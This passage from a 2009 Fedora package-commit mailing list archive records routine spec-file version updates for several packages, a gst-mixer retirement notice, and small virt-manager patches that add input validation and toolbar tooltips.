Modified Files:
	.cvsignore perl-File-Which.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Dec 2006 14:42:54 -0000	1.2
+++ .cvsignore	5 Oct 2009 17:04:19 -0000	1.3
@@ -1 +1 @@
-File-Which-0.05.tar.gz
+File-Which-1.09.tar.gz


Index: perl-File-Which.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/devel/perl-File-Which.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-File-Which.spec	26 Jul 2009 06:05:25 -0000	1.8
+++ perl-File-Which.spec	5 Oct 2009 17:04:19 -0000	1.9
@@ -1,16 +1,16 @@
 Name:           perl-File-Which
-Version:        0.05
-Release:        6%{?dist}
+Version:        1.09
+Release:        1%{?dist}
 Summary:        Portable implementation of the 'which' utility
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/File-Which/
-Source0:        http://www.cpan.org/authors/id/P/PE/PEREINAR/File-Which-%{version}.tar.gz
+Source0:        http://www.cpan.org/authors/id/A/AD/ADAMK/File-Which-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(ExtUtils::MakeMaker), perl(Test::Script)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1.09-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.05-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Dec 2006 14:42:54 -0000	1.2
+++ sources	5 Oct 2009 17:04:19 -0000	1.3
@@ -1 +1 @@
-bd671a65f770fc0a124095e74c7c8013  File-Which-0.05.tar.gz
+b9429edaad7f45caafa4d458afcfd8af  File-Which-1.09.tar.gz



From hadess at fedoraproject.org  Mon Oct  5 17:06:08 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 17:06:08 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12 .cvsignore, 1.28,
	1.29 gstreamer-plugins-base.spec, 1.87, 1.88 sources, 1.29,
	1.30 avf-support.patch, 1.1, NONE
Message-ID: <20091005170608.300F411C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8902

Modified Files:
	.cvsignore gstreamer-plugins-base.spec sources 
Removed Files:
	avf-support.patch 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
- Update to 0.10.25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	5 Aug 2009 12:46:15 -0000	1.28
+++ .cvsignore	5 Oct 2009 17:06:07 -0000	1.29
@@ -1 +1 @@
-gst-plugins-base-0.10.24.tar.bz2
+gst-plugins-base-0.10.25.tar.bz2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/gstreamer-plugins-base.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- gstreamer-plugins-base.spec	26 Aug 2009 15:21:47 -0000	1.87
+++ gstreamer-plugins-base.spec	5 Oct 2009 17:06:07 -0000	1.88
@@ -1,11 +1,9 @@
 %define         gstreamer       gstreamer
 %define         majorminor      0.10
 
-%define         _gst            0.10.24
-
 Name: 		%{gstreamer}-plugins-base
-Version: 	0.10.24
-Release:  	2%{?dist}
+Version: 	0.10.25
+Release:  	1%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -14,11 +12,9 @@ URL:		http://gstreamer.freedesktop.org/
 Source:		http://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch0:		avf-support.patch
-
-Requires:       %{gstreamer} >= %{_gst}
+Requires:       %{gstreamer} >= %{version}
 Requires:	liboil >= 0.3.12-9
-BuildRequires: 	%{gstreamer}-devel >= %{_gst}
+BuildRequires: 	%{gstreamer}-devel >= %{version}
 
 BuildRequires:  gettext
 BuildRequires:  gcc-c++
@@ -53,7 +49,6 @@ This package contains a set of well-main
 
 %prep
 %setup -q -n gst-plugins-base-%{version}
-%patch0 -p1 -b .avf
 
 %build
 %configure \
@@ -184,6 +179,7 @@ GStreamer Base Plugins library developme
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunerchannel.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunernorm.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/videoorientation.h
+%{_includedir}/gstreamer-%{majorminor}/gst/interfaces/streamvolume.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/xoverlay.h
 %dir %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer
 %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer/gstnetbuffer.h
@@ -248,6 +244,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
+- Update to 0.10.25
+
 * Wed Aug 26 2009 Adam Jackson <ajax at redhat.com> 0.10.24-2
 - avf-support.patch: Add AVF file recognition (gnome #593117)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	5 Aug 2009 12:46:15 -0000	1.29
+++ sources	5 Oct 2009 17:06:07 -0000	1.30
@@ -1 +1 @@
-a3ec977c9c6602caacc2d3a7c12a17bf  gst-plugins-base-0.10.24.tar.bz2
+d29669dd79276c5cd94e1613c03cd9ab  gst-plugins-base-0.10.25.tar.bz2


--- avf-support.patch DELETED ---



From mclasen at fedoraproject.org  Mon Oct  5 17:09:12 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 17:09:12 +0000 (UTC)
Subject: rpms/gnome-disk-utility/F-12 gnome-disk-utility.spec,1.22,1.23
Message-ID: <20091005170913.18F7B11C029F@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-disk-utility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10765

Modified Files:
	gnome-disk-utility.spec 
Log Message:
Fix spec



Index: gnome-disk-utility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-disk-utility/F-12/gnome-disk-utility.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- gnome-disk-utility.spec	5 Oct 2009 16:54:28 -0000	1.22
+++ gnome-disk-utility.spec	5 Oct 2009 17:09:11 -0000	1.23
@@ -41,8 +41,8 @@ Obsoletes: gnome-disk-utility-format
 Obsoletes: nautilus-gdu
 
 # from the gnome-2-28 branch
-Patch0: 0001-Use-stock-delete-and-apply-buttons.patch
-Patch1: 0002-Fix-library-translations.patch
+Patch1: 0001-Use-stock-delete-and-apply-buttons.patch
+Patch2: 0002-Fix-library-translations.patch
 Patch3: 0003-Use-translated-string-for-button-label.patch
 Patch4: 0004-Translate-file-system-types.patch
 
@@ -100,10 +100,10 @@ develop applications with gnome-disk-uti
 
 %prep
 %setup -q
-%patch0 -p1 -b .use-stock-delete-and-apply-buttons
-%patch1 -p1 -b fix-library-translations
-%patch2 -p1 -b use-translated-string-for-button-label
-%patch3 -p1 -b translate-file-system-types
+%patch1 -p1 -b .use-stock-delete-and-apply-buttons
+%patch2 -p1 -b fix-library-translations
+%patch3 -p1 -b use-translated-string-for-button-label
+%patch4 -p1 -b translate-file-system-types
 
 %build
 %configure



From pkgdb at fedoraproject.org  Mon Oct  5 17:13:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 17:13:14 +0000
Subject: [pkgdb] gst-mixer ownership updated
Message-ID: <20091005171314.1C6AF10F84D@bastion2.fedora.phx.redhat.com>

Package gst-mixer in Fedora devel was orphaned by adamwill

To make changes to this package see:
  /pkgdb/packages/name/gst-mixer



From pkgdb at fedoraproject.org  Mon Oct  5 17:13:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 17:13:14 +0000
Subject: [pkgdb] gst-mixer (un)retirement
Message-ID: <20091005171314.297F010F88E@bastion2.fedora.phx.redhat.com>

Package gst-mixer in Fedora devel has been retired by adamwill

To make changes to this package see:
  /pkgdb/packages/name/gst-mixer



From mclasen at fedoraproject.org  Mon Oct  5 17:14:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 17:14:58 +0000 (UTC)
Subject: rpms/gnome-disk-utility/F-12 gnome-disk-utility.spec,1.23,1.24
Message-ID: <20091005171458.4FFCA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-disk-utility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14592

Modified Files:
	gnome-disk-utility.spec 
Log Message:
Bump rev



Index: gnome-disk-utility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-disk-utility/F-12/gnome-disk-utility.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- gnome-disk-utility.spec	5 Oct 2009 17:09:11 -0000	1.23
+++ gnome-disk-utility.spec	5 Oct 2009 17:14:57 -0000	1.24
@@ -13,7 +13,7 @@
 Summary: Disk management application
 Name: gnome-disk-utility
 Version: 2.28.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://git.gnome.org/cgit/gnome-disk-utility
@@ -220,7 +220,7 @@ fi
 %{_includedir}/gnome-disk-utility/gdu-gtk/*
 
 %changelog
-* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3%{?dist}
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-4%{?dist}
 - Incorporate fixes for translation issues from the stable upstream branch
 
 * Fri Sep 18 2009 David Zeuthen <davidz at redhat.com> - 2.28.0-2%{?dist}



From notting at fedoraproject.org  Mon Oct  5 17:15:25 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon,  5 Oct 2009 17:15:25 +0000 (UTC)
Subject: rpms/mash/EL-5 .cvsignore, 1.21, 1.22 mash.spec, 1.28, 1.29 sources,
	1.24, 1.25
Message-ID: <20091005171525.C28D011C00DB@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/mash/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14932/EL-5

Modified Files:
	.cvsignore mash.spec sources 
Log Message:
New upstream 0.5.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mash/EL-5/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	30 Jun 2009 14:07:43 -0000	1.21
+++ .cvsignore	5 Oct 2009 17:15:25 -0000	1.22
@@ -1 +1 @@
-mash-0.5.8.tar.gz
+mash-0.5.9.tar.gz


Index: mash.spec
===================================================================
RCS file: /cvs/extras/rpms/mash/EL-5/mash.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- mash.spec	21 Jul 2009 20:09:31 -0000	1.28
+++ mash.spec	5 Oct 2009 17:15:25 -0000	1.29
@@ -1,13 +1,13 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           mash
-Version:        0.5.8
-Release:        2%{?dist}
+Version:        0.5.9
+Release:        1%{?dist}
 Summary:        Koji buildsystem to yum repository converter
 Group:          Development/Tools
 License:        GPL
-URL:            http://people.redhat.com/notting/mash/
-Source0:        http://people.redhat.com/notting/mash/%{name}-%{version}.tar.gz
+URL:            http://fedorahosted.org/releases/m/a/mash/
+Source0:        http://fedorahosted.org/releases/m/a/mash/%{name}-%{version}.tar.gz
 Patch0:		mash-nosigcheck.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:       yum, createrepo, koji
@@ -46,8 +46,11 @@ rm -rf $RPM_BUILD_ROOT
 /var/cache/mash
 
 %changelog
-* Tue Jul 21 2009 Bill Nottingham <notting at redhat.com> 0.5.8-2
-- don't sigcheck deltas
+* Mon Oct  5 2009 Bill Nottingham <notting at redhat.com> 0.5.9-1
+- set dist_tags & content_tags when making metadata; update rawhide config
+  (<jkeating at redhat.com>)
+- allow glibc-static as a devel package
+- allow making ancient yum-arch metadata
 
 * Mon Jun 29 2009 Bill Nottingham <notting at redhat.com> 0.5.8-1
 - noarch packages can have debuginfo too (#508746)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mash/EL-5/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	30 Jun 2009 14:07:43 -0000	1.24
+++ sources	5 Oct 2009 17:15:25 -0000	1.25
@@ -1 +1 @@
-bf01baab29a01b70028bd2668d4455ea  mash-0.5.8.tar.gz
+2e392e76d2a20caad9bb3e400916bbbb  mash-0.5.9.tar.gz



From notting at fedoraproject.org  Mon Oct  5 17:15:26 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon,  5 Oct 2009 17:15:26 +0000 (UTC)
Subject: rpms/mash/F-12 .cvsignore, 1.45, 1.46 mash.spec, 1.59, 1.60 sources,
	1.47, 1.48 mash-debug.patch, 1.3, NONE mash-f12key.patch, 1.1, NONE
Message-ID: <20091005171526.509F611C00DB@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/mash/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14932/F-12

Modified Files:
	.cvsignore mash.spec sources 
Removed Files:
	mash-debug.patch mash-f12key.patch 
Log Message:
New upstream 0.5.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mash/F-12/.cvsignore,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- .cvsignore	29 Jun 2009 17:54:14 -0000	1.45
+++ .cvsignore	5 Oct 2009 17:15:25 -0000	1.46
@@ -1 +1 @@
-mash-0.5.8.tar.gz
+mash-0.5.9.tar.gz


Index: mash.spec
===================================================================
RCS file: /cvs/extras/rpms/mash/F-12/mash.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- mash.spec	20 Aug 2009 17:03:31 -0000	1.59
+++ mash.spec	5 Oct 2009 17:15:26 -0000	1.60
@@ -1,15 +1,13 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           mash
-Version:        0.5.8
-Release:        4%{?dist}
+Version:        0.5.9
+Release:        1%{?dist}
 Summary:        Koji buildsystem to yum repository converter
 Group:          Development/Tools
 License:        GPL
 URL:            http://fedorahosted.org/releases/m/a/mash/
 Source0:        http://fedorahosted.org/releases/m/a/mash/%{name}-%{version}.tar.gz
-Patch0:		mash-nodelta.patch
-Patch1:		mash-f12key.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:       yum, createrepo, koji
 Conflicts:	pungi < 1.0.0
@@ -23,8 +21,6 @@ any multlib RPMs that are necessary.
 
 %prep
 %setup -q
-#%patch0 -p1
-%patch1 -p1
 
 %build
 %{__python} setup.py build
@@ -48,14 +44,11 @@ rm -rf $RPM_BUILD_ROOT
 /var/cache/mash
 
 %changelog
-* Thu Aug 20 2009 Bill Nottingham <notting at redhat.com> 0.5.8-4
-- re-enable deltas
-
-* Tue Aug 11 2009 Bill Nottingham <notting at redhat.com> 0.5.8-3
-- add new F12 key to rawhide mash config
-
-* Fri Jul 24 2009 Bill Nottingham <notting at redhat.com> 0.5.8-2
-- disable deltas for rawhide during payload format mass rebuild
+* Mon Oct  5 2009 Bill Nottingham <notting at redhat.com> 0.5.9-1
+- set dist_tags & content_tags when making metadata; update rawhide config
+  (<jkeating at redhat.com>)
+- allow glibc-static as a devel package
+- allow making ancient yum-arch metadata
 
 * Mon Jun 29 2009 Bill Nottingham <notting at redhat.com> 0.5.8-1
 - noarch packages can have debuginfo too (#508746)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mash/F-12/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	29 Jun 2009 17:54:14 -0000	1.47
+++ sources	5 Oct 2009 17:15:26 -0000	1.48
@@ -1 +1 @@
-bf01baab29a01b70028bd2668d4455ea  mash-0.5.8.tar.gz
+2e392e76d2a20caad9bb3e400916bbbb  mash-0.5.9.tar.gz


--- mash-debug.patch DELETED ---


--- mash-f12key.patch DELETED ---



From crobinso at fedoraproject.org  Mon Oct  5 17:25:32 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 17:25:32 +0000 (UTC)
Subject: rpms/virt-manager/devel virt-manager-0.8.0-createvol-alloc.patch,
	NONE, 1.1 virt-manager-0.8.0-createvol-name.patch, NONE,
	1.1 virt-manager-0.8.0-toolbar-tooltips.patch, NONE,
	1.1 virt-manager.spec, 1.62, 1.63
Message-ID: <20091005172532.7A34111C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/virt-manager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19628

Modified Files:
	virt-manager.spec 
Added Files:
	virt-manager-0.8.0-createvol-alloc.patch 
	virt-manager-0.8.0-createvol-name.patch 
	virt-manager-0.8.0-toolbar-tooltips.patch 
Log Message:
Don't allow creating a volume without a name (bz 526111)
Don't allow volume allocation > capacity (bz 526077)
Add tooltips for toolbar buttons (bz 524083)


virt-manager-0.8.0-createvol-alloc.patch:
 src/virtManager/createvol.py                |   20 ++++++++++++++++++++
 virt-manager-0.8.0/src/vmm-create-vol.glade |   10 ++++++----
 2 files changed, 26 insertions(+), 4 deletions(-)

--- NEW FILE virt-manager-0.8.0-createvol-alloc.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254757810 14400
# Node ID 97c40c4fb29f7b1b1aadcebd42781f0d471d4697
# Parent  c0cffb13680c120ceff22386754104f66bb01d25
create-vol: Don't allow allocation to be higher than capacity.

Also tweak the spin button climb rates to be more useful.

diff -r c0cffb13680c -r 97c40c4fb29f src/virtManager/createvol.py
--- a/src/virtManager/createvol.py	Mon Oct 05 11:34:39 2009 -0400
+++ b/src/virtManager/createvol.py	Mon Oct 05 11:50:10 2009 -0400
@@ -63,6 +63,8 @@
             "on_vol_cancel_clicked"  : self.close,
             "on_vol_create_clicked"  : self.finish,
             "on_vol_name_changed"    : self.vol_name_changed,
+            "on_vol_allocation_value_changed" : self.vol_allocation_changed,
+            "on_vol_capacity_value_changed"   : self.vol_capacity_changed,
         })
 
         format_list = self.window.get_widget("vol-format")
@@ -144,6 +146,24 @@
         text = src.get_text()
         self.window.get_widget("vol-create").set_sensitive(bool(text))
 
+    def vol_allocation_changed(self, src):
+        cap_widget = self.window.get_widget("vol-capacity")
+
+        alloc = src.get_value()
+        cap   = cap_widget.get_value()
+
+        if alloc > cap:
+            cap_widget.set_value(alloc)
+
+    def vol_capacity_changed(self, src):
+        alloc_widget = self.window.get_widget("vol-allocation")
+
+        cap   = src.get_value()
+        alloc = self.window.get_widget("vol-allocation").get_value()
+
+        if cap < alloc:
+            alloc_widget.set_value(cap)
+
     def finish(self, src):
         # validate input
         try:
diff -rup old/src/vmm-create-vol.glade virt-manager-0.8.0/src/vmm-create-vol.glade
--- old/src/vmm-create-vol.glade	2009-10-05 13:18:10.212062000 -0400
+++ virt-manager-0.8.0/src/vmm-create-vol.glade	2009-10-05 13:19:57.343395000 -0400
@@ -237,8 +237,9 @@
                               <widget class="GtkSpinButton" id="vol-capacity">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
-                                <property name="adjustment">1 0 100000 1 10 0</property>
-                                <property name="climb_rate">1</property>
+                                <property name="adjustment">1 0 100000 1 1000 0</property>
+                                <property name="climb_rate">10</property>
+                                <signal name="value_changed" handler="on_vol_capacity_value_changed"/>
                               </widget>
                               <packing>
                                 <property name="left_attach">1</property>
@@ -251,8 +252,9 @@
                               <widget class="GtkSpinButton" id="vol-allocation">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
-                                <property name="adjustment">1 0 100000 1 10 0</property>
-                                <property name="climb_rate">1</property>
+                                <property name="adjustment">1 0 100000 1 1000 0</property>
+                                <property name="climb_rate">10</property>
+                                <signal name="value_changed" handler="on_vol_allocation_value_changed"/>
                               </widget>
                               <packing>
                                 <property name="left_attach">1</property>

virt-manager-0.8.0-createvol-name.patch:
 src/virtManager/createvol.py                |    6 ++++++
 virt-manager-0.8.0/src/vmm-create-vol.glade |    1 +
 2 files changed, 7 insertions(+)

--- NEW FILE virt-manager-0.8.0-createvol-name.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254756879 14400
# Node ID c0cffb13680c120ceff22386754104f66bb01d25
# Parent  67d5721a535f204db27f532e59f491f562c8ff18
create-vol: Don't allow creating vol without a name entered

diff -r 67d5721a535f -r c0cffb13680c src/virtManager/createvol.py
--- a/src/virtManager/createvol.py	Mon Oct 05 10:06:29 2009 -0400
+++ b/src/virtManager/createvol.py	Mon Oct 05 11:34:39 2009 -0400
@@ -62,6 +62,7 @@
             "on_vmm_create_vol_delete_event" : self.close,
             "on_vol_cancel_clicked"  : self.close,
             "on_vol_create_clicked"  : self.finish,
+            "on_vol_name_changed"    : self.vol_name_changed,
         })
 
         format_list = self.window.get_widget("vol-format")
@@ -99,6 +100,7 @@
 
     def reset_state(self):
         self.window.get_widget("vol-name").set_text("")
+        self.window.get_widget("vol-create").set_sensitive(False)
         self.populate_vol_format()
         self.populate_vol_suffix()
 
@@ -138,6 +140,10 @@
             suffix = ".img"
         self.window.get_widget("vol-name-suffix").set_text(suffix)
 
+    def vol_name_changed(self, src):
+        text = src.get_text()
+        self.window.get_widget("vol-create").set_sensitive(bool(text))
+
     def finish(self, src):
         # validate input
         try:
diff -rup new/src/vmm-create-vol.glade virt-manager-0.8.0/src/vmm-create-vol.glade
--- new/src/vmm-create-vol.glade	2009-10-05 13:15:48.335564000 -0400
+++ virt-manager-0.8.0/src/vmm-create-vol.glade	2009-10-05 13:16:48.288704000 -0400
@@ -96,6 +96,7 @@
                               <widget class="GtkEntry" id="vol-name">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
+                                <signal name="changed" handler="on_vol_name_changed"/>
                               </widget>
                             </child>
                             <child>

virt-manager-0.8.0-toolbar-tooltips.patch:
 vmm-details.glade |    6 ++++++
 vmm-manager.glade |    5 +++++
 2 files changed, 11 insertions(+)

--- NEW FILE virt-manager-0.8.0-toolbar-tooltips.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254762221 14400
# Node ID 7df46187c156c7697b9b93e46e3b391a19c4fbb2
# Parent  97c40c4fb29f7b1b1aadcebd42781f0d471d4697
Add tooltips for toolbar buttons in manager and details.

diff -r 97c40c4fb29f -r 7df46187c156 src/vmm-details.glade
--- a/src/vmm-details.glade	Mon Oct 05 11:50:10 2009 -0400
+++ b/src/vmm-details.glade	Mon Oct 05 13:03:41 2009 -0400
@@ -430,6 +430,7 @@
                 <child>
                   <widget class="GtkRadioToolButton" id="control-vm-console">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Show the graphical console</property>
                     <property name="label" translatable="yes">Console</property>
                     <property name="icon_name">icon_console</property>
                     <property name="active">True</property>
@@ -443,6 +444,7 @@
                 <child>
                   <widget class="GtkRadioToolButton" id="control-vm-details">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Show virtual hardware details</property>
                     <property name="label" translatable="yes">Details</property>
                     <property name="stock_id">gtk-info</property>
                     <property name="group">control-vm-console</property>
@@ -465,6 +467,7 @@
                 <child>
                   <widget class="GtkToolButton" id="control-run">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Power on the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Run</property>
                     <property name="use_underline">True</property>
@@ -479,6 +482,7 @@
                 <child>
                   <widget class="GtkToggleToolButton" id="control-pause">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Pause the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Pause</property>
                     <property name="use_underline">True</property>
@@ -493,6 +497,7 @@
                 <child>
                   <widget class="GtkMenuToolButton" id="control-shutdown">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Shutdown the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Shut Down</property>
                     <property name="use_underline">True</property>
@@ -514,6 +519,7 @@
                 <child>
                   <widget class="GtkToggleToolButton" id="control-fullscreen">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Switch to fullscreen view</property>
                     <property name="stock_id">gtk-fullscreen</property>
                     <signal name="toggled" handler="on_control_fullscreen_toggled"/>
                   </widget>
diff -r 97c40c4fb29f -r 7df46187c156 src/vmm-manager.glade
--- a/src/vmm-manager.glade	Mon Oct 05 11:50:10 2009 -0400
+++ b/src/vmm-manager.glade	Mon Oct 05 13:03:41 2009 -0400
@@ -229,6 +229,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-new">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Create a new virtual machine</property>
                         <property name="label" translatable="yes">_New</property>
                         <property name="use_underline">True</property>
                         <property name="icon_name">vm_new_large</property>
@@ -251,6 +252,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-open">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Show the virtual machine's details</property>
                         <property name="label" translatable="yes">_Open</property>
                         <property name="use_underline">True</property>
                         <property name="icon_name">icon_console</property>
@@ -264,6 +266,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-run">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Power on the virtual machine</property>
                         <property name="label" translatable="yes">_Run</property>
                         <property name="use_underline">True</property>
                         <property name="stock_id">gtk-media-play</property>
@@ -277,6 +280,7 @@
                     <child>
                       <widget class="GtkToggleToolButton" id="vm-pause">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Pause the virtual machine</property>
                         <property name="label" translatable="yes">_Pause</property>
                         <property name="use_underline">True</property>
                         <property name="stock_id">gtk-media-pause</property>
@@ -290,6 +294,7 @@
                     <child>
                       <widget class="GtkMenuToolButton" id="vm-shutdown">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Shutdown the virtual machine</property>
                         <property name="label" translatable="yes">_Shutdown</property>
                         <property name="use_underline">True</property>
                         <signal name="clicked" handler="on_vm_shutdown_clicked"/>


Index: virt-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-manager/devel/virt-manager.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- virt-manager.spec	5 Oct 2009 14:19:29 -0000	1.62
+++ virt-manager.spec	5 Oct 2009 17:25:32 -0000	1.63
@@ -8,7 +8,7 @@
 
 Name: virt-manager
 Version: 0.8.0
-Release: 7%{_extra_release}
+Release: 8%{_extra_release}
 Summary: Virtual Machine Manager
 
 Group: Applications/Emulators
@@ -50,6 +50,12 @@ Patch13: %{name}-%{version}-update-vm-st
 Patch14: %{name}-%{version}-update-translations.patch
 # More translations (bz 493795)
 Patch15: %{name}-%{version}-more-translations.patch
+# Don't allow creating a volume without a name (bz 526111)
+Patch16: %{name}-%{version}-createvol-name.patch
+# Don't allow volume allocation > capacity (bz 526077)
+Patch17: %{name}-%{version}-createvol-alloc.patch
+# Add tooltips for toolbar buttons (bz 524083)
+Patch18: %{name}-%{version}-toolbar-tooltips.patch
 
 # These two are just the oldest version tested
 Requires: pygtk2 >= 1.99.12-6
@@ -132,6 +138,9 @@ cp %{SOURCE3} pixmaps
 %patch13 -p1
 %patch14 -p1
 %patch15 -p1
+%patch16 -p1
+%patch17 -p1
+%patch18 -p1
 
 %build
 %configure
@@ -205,6 +214,11 @@ fi
 %{_datadir}/dbus-1/services/%{name}.service
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-8.fc13
+- Don't allow creating a volume without a name (bz 526111)
+- Don't allow volume allocation > capacity (bz 526077)
+- Add tooltips for toolbar buttons (bz 524083)
+
